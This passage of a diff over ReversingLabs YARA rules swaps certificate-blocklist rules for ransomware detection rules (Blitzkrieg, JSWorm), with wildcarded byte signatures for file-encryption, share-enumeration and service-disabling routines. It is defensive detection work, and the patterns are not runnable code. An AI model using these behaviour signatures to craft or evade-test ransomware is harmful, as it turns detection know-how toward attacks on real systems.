6A ?? E8 ?? ?? ?? ?? 0F 10 06 83 C4 ?? 8B C8 0F 11 + 00 0F 10 46 ?? 0F 11 40 ?? E8 ?? ?? ?? ?? 8B 75 ?? B3 ?? 47 EB ?? F7 46 ?? ?? ?? ?? + ?? 0F 84 ?? ?? ?? ?? 8B 56 ?? 85 D2 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? C6 45 ?? ?? 80 3A ?? 75 ?? 33 C9 EB ?? 8B CA 8D 71 ?? 8A 01 41 84 C0 75 + ?? 2B CE 51 52 8D 4D ?? E8 ?? ?? ?? ?? 51 8D 55 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? + ?? 83 C4 ?? 8B F0 BA ?? ?? ?? ?? C6 45 ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 8B + C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 83 C4 ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B + } + $enum_shares_p2 = { + 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8 + ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8 + 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? 8D 55 ?? 8B CC 51 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? + ?? ?? ?? 83 C4 ?? 8D 55 ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 BA ?? ?? ?? ?? + C6 45 ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? C6 45 ?? ?? 83 C4 ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 + C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? + E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 + ?? ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 F8 ?? 72 ?? + 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? + E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B + C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? + 8B 75 ?? B3 ?? 47 E9 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? BA + ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8A C3 E9 ?? ?? + ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? + ?? ?? ?? C3 + } + $find_files = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? ?? ?? ?? + ?? EC 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 45 FC 00 00 00 00 8D 4D ?? + C6 45 ?? ?? 8B 75 ?? 83 FE ?? 8B 7D ?? 8B 55 ?? 0F 43 CF 6A ?? 68 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 83 C4 ?? 8D 4D ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FE ?? 6A ?? 0F 43 CF 68 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FE ?? 6A ?? 0F 43 + CF 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FE ?? + 6A ?? 0F 43 CF 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 57 + C0 C7 45 ?? ?? ?? ?? ?? 66 0F D6 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? 83 FE ?? C6 45 ?? ?? 8D 4D ?? 0F 43 CF E8 ?? ?? ?? ?? 8B F0 89 75 + ?? 85 F6 0F 84 ?? ?? ?? ?? 8D 45 ?? 8B D6 50 8B CE E8 ?? ?? ?? ?? 8B 5D ?? 83 C4 ?? + 85 DB 0F 84 ?? ?? ?? ?? 8D 7B ?? B9 ?? ?? ?? ?? 8B C7 66 0F 1F 44 00 ?? 8A 10 3A 11 + 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 F6 EB ?? + 1B F6 83 CE ?? B9 ?? ?? ?? ?? 8B C7 0F 1F 40 ?? 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 + ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 3B F0 8B + 75 ?? 0F 85 ?? ?? ?? ?? 8B 43 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 4D ?? 57 3D ?? ?? ?? ?? + 75 ?? E8 ?? ?? ?? ?? 50 8D 55 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 EC + ?? C6 45 ?? ?? 8B CC 8B D0 51 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D + ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 EC ?? C6 45 ?? ?? 8B CC 8D 55 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 83 C4 + ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 75 ?? E9 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? + 83 EC ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? BA ?? ?? ?? + ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? B8 ?? ?? ?? ?? C3 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? E8 ?? ?? ?? + ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD + E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $encrypt_files_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? ?? ?? ?? + ?? EC 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 45 FC 00 00 00 00 C6 45 ?? + ?? 83 05 ?? ?? ?? ?? ?? 83 15 ?? ?? ?? ?? ?? 83 EC ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7 + 41 ?? ?? ?? ?? ?? 83 79 ?? ?? 72 ?? 8B 01 EB ?? 8B C1 6A ?? C6 00 ?? 8D 45 ?? 6A ?? + 50 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? C6 45 ?? ?? 8B CC C7 41 + ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? 72 ?? 8B 01 EB ?? 8B C1 6A ?? C6 00 + ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D + 4D ?? 83 3D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B 7D ?? 0F 43 05 ?? ?? ?? ?? 83 FF ?? FF + 35 ?? ?? ?? ?? 8B 75 ?? 0F 43 CE 8B 55 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? + ?? ?? ?? 83 FF ?? 8D 4D ?? 6A ?? 0F 43 CE 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 + C0 0F 84 ?? ?? ?? ?? 83 FF ?? 8D 4D ?? 6A ?? 0F 43 CE 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FF ?? 8D 4D ?? 6A ?? 0F 43 CE 68 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 + } + $encrypt_files_p2 = { + 84 C0 0F 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? + ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 + ?? 6A ?? 0F 43 45 ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B + D8 83 FB ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 6A ?? 8B F0 8B FA 8D 45 ?? 50 68 ?? + ?? ?? ?? FF 35 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 2B C6 1B D7 01 05 + ?? ?? ?? ?? 11 15 ?? ?? ?? ?? 83 65 ?? ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 8B FA + 8B F0 8B 55 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 2B C6 6A ?? 1B D7 01 05 ?? ?? ?? ?? + 8B 45 ?? 11 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? 6A ?? 83 15 ?? ?? ?? ?? ?? 6A ?? 53 FF + 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 6A ?? 8B F0 8B FA 8D 45 ?? 50 FF 75 ?? FF 35 ?? ?? + ?? ?? 53 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 2B C6 53 1B D7 01 05 ?? ?? ?? ?? 11 15 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 51 8D 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C8 83 C4 ?? 83 + 79 ?? ?? 72 ?? 8B 09 83 7D ?? ?? 8D 45 ?? 51 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D + ?? E8 ?? ?? ?? ?? 83 05 ?? ?? ?? ?? ?? 83 15 ?? ?? ?? ?? ?? EB ?? 53 FF 15 ?? ?? ?? + ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? + 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "JOHN WILLIAM RICHARD" and pe.signatures [ i ] . serial == "06:a1:64:ec:59:78:49:77:41:ee:6c:ec:99:66:87:1b" and 1385596799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $enum_volumes and $find_files and ( all of ( $enum_shares_p* ) ) and ( all of ( $encrypt_files_p* ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_1121Ed568764E75Be35574448Feadefcd3Bc : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Blitzkrieg : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Blitzkrieg ransomware." author = "ReversingLabs" - id = "44fa007f-f5f7-5001-8b92-eb4a657ea756" - date = "2020-08-05" - modified = "2023-11-08" + id = "078f7f9d-edd4-52b4-a30e-e968542da95c" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L351-L367" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Blitzkrieg.yara#L1-L127" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3316a2536920c5aa9dd627cec7678e6fe33c722b4830dd740009c20dd013c9ab" + logic_hash = "22dd16c886a1982186fe927e633be9951da7d7e664e877e11fa976696b2bc86f" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Blitzkrieg" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FRINORTE COMERCIO DE PECAS E SERVICOS LTDA - ME" and pe.signatures [ i ] . serial == "11:21:ed:56:87:64:e7:5b:e3:55:74:44:8f:ea:de:fc:d3:bc" and 1385337599 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_6Ed2450Ceac0F72E73Fda1727E66E654 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "c19ddbde-eec0-5ebb-8f11-1e7dcb489bc8" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L369-L385" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0e5af7795c825367d441c8abc2aa835fa83083eb8ee1f723c7d2dacff1ca88ff" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $encrypt_files = { + 55 8B EC 83 C4 ?? 53 56 57 33 D2 89 55 ?? 89 55 ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? + 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? + ?? 64 FF 30 64 89 20 8B 45 ?? 8B 40 ?? 8B 10 FF 52 ?? 8B F0 4E 83 FE ?? 0F 8C ?? ?? + ?? ?? 8B 45 ?? 8B 48 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 A0 ?? ?? ?? ?? 88 + 43 ?? C6 43 ?? ?? 8D 4D ?? 8B 45 ?? 8B 40 ?? 8B D6 8B 38 FF 57 ?? 8B 55 ?? 8B C3 E8 + ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? 8B C3 E8 ?? ?? ?? ?? 8B D3 + 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 40 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 15 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 4B ?? 89 0C + 82 4E 83 FE ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 84 C0 74 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 + } + $search_files_p1 = { + E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 89 45 ?? B2 ?? A1 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? F6 40 ?? ?? 74 ?? FF 45 ?? 8B 45 ?? F6 40 + ?? ?? 74 ?? 83 45 ?? ?? 8B 45 ?? F6 40 ?? ?? 74 ?? 83 45 ?? ?? 8B 45 ?? F6 40 ?? ?? + 74 ?? 83 45 ?? ?? 8B 45 ?? F6 40 ?? ?? 74 ?? 83 45 ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 10 FF 52 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? + E8 ?? ?? ?? ?? 85 C0 7E ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 8B 52 ?? + 48 85 D2 74 ?? 3B 42 ?? 72 ?? E8 ?? ?? ?? ?? 40 80 7C 02 ?? ?? 74 ?? 8D 85 ?? ?? ?? + ?? 8B 55 ?? 8B 4D ?? 8B 49 ?? 4A 85 C9 74 ?? 3B 51 ?? 72 ?? E8 ?? ?? ?? ?? 42 8A 54 + 11 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? EB ?? 8B 55 ?? 8B 45 + ?? 8B 08 FF 51 ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 45 ?? FF 4D ?? 75 ?? 8B 45 ?? 8B 10 FF + 52 ?? 48 85 C0 0F 8C ?? ?? ?? ?? 40 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? + 8B 55 ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? + ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? 8B 8D ?? ?? ?? ?? 8B 55 + ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 + ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 85 C0 0F 8F ?? ?? ?? ?? 8B 55 ?? + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 8F ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? + ?? 84 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 8B 55 ?? B8 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 85 C0 7F ?? 8B 45 ?? 8B 40 ?? 50 8B 4D ?? B2 ?? A1 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B D8 B2 ?? 8B C3 E8 ?? ?? ?? ?? 8B D3 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 + } + $search_files_p2 = { + E8 ?? ?? ?? ?? 40 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 85 D2 74 ?? 3B 42 ?? 72 ?? E8 ?? ?? ?? ?? 8B 4B + ?? 89 0C 82 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 8B + 45 ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 85 C0 79 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 + 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? + EB ?? FF 45 ?? FF 4D ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 80 78 ?? ?? 0F 84 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? + 64 FF 30 64 89 20 F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? + ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? + ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 8D 85 ?? ?? ?? ?? + 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? + 8B 48 ?? 8B 45 ?? E8 + } + $disable_services_p1 = { + E8 ?? ?? ?? ?? 8B F0 BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 + FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA + ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? + 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 + FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA + ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? + 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 + FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA + ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? + 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 + FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA + ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? + 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 + FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA + ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA + } + $disable_services_p2 = { + 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 + FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA + ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? + 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 + FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA + ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? + 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 + FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA + ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? + 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 + FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA + ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? 8B 55 ?? 8B C6 8B 08 FF 51 ?? 6A ?? 8B 45 ?? E8 ?? + ?? ?? ?? 8B D0 8D 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 33 C9 33 D2 E8 ?? ?? ?? ?? 33 C0 5A + 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Hohhot Handing Trade and Business Co., Ltd." and pe.signatures [ i ] . serial == "6e:d2:45:0c:ea:c0:f7:2e:73:fd:a1:72:7e:66:e6:54" and 1376092799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( all of ( $disable_services_p* ) ) and ( all of ( $search_files_p* ) ) and ( $encrypt_files ) ) } - -rule REVERSINGLABS_Cert_Blocklist_32665079C5A5854A6833623Ca77Ff5Ac : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Jsworm : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects JSWorm ransomware." author = "ReversingLabs" - id = "7078e95f-8bbe-5446-b9cb-c079f8448cb1" - date = "2020-08-05" - modified = "2023-11-08" + id = "a4702cc3-1e08-5631-b832-5d28cb92a819" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L387-L403" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.JSWorm.yara#L1-L93" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6b734ca733c5fbadcb490ffd4c19c951e0fc17dd9b660eca948b126038c42cdb" + logic_hash = "8ba5e2f29f5f06e6e6714bbba1129862da8c3a83bf7f296818eddee2593cae38" score = 75 quality = 90 - tags = "INFO, FILE" + tags = 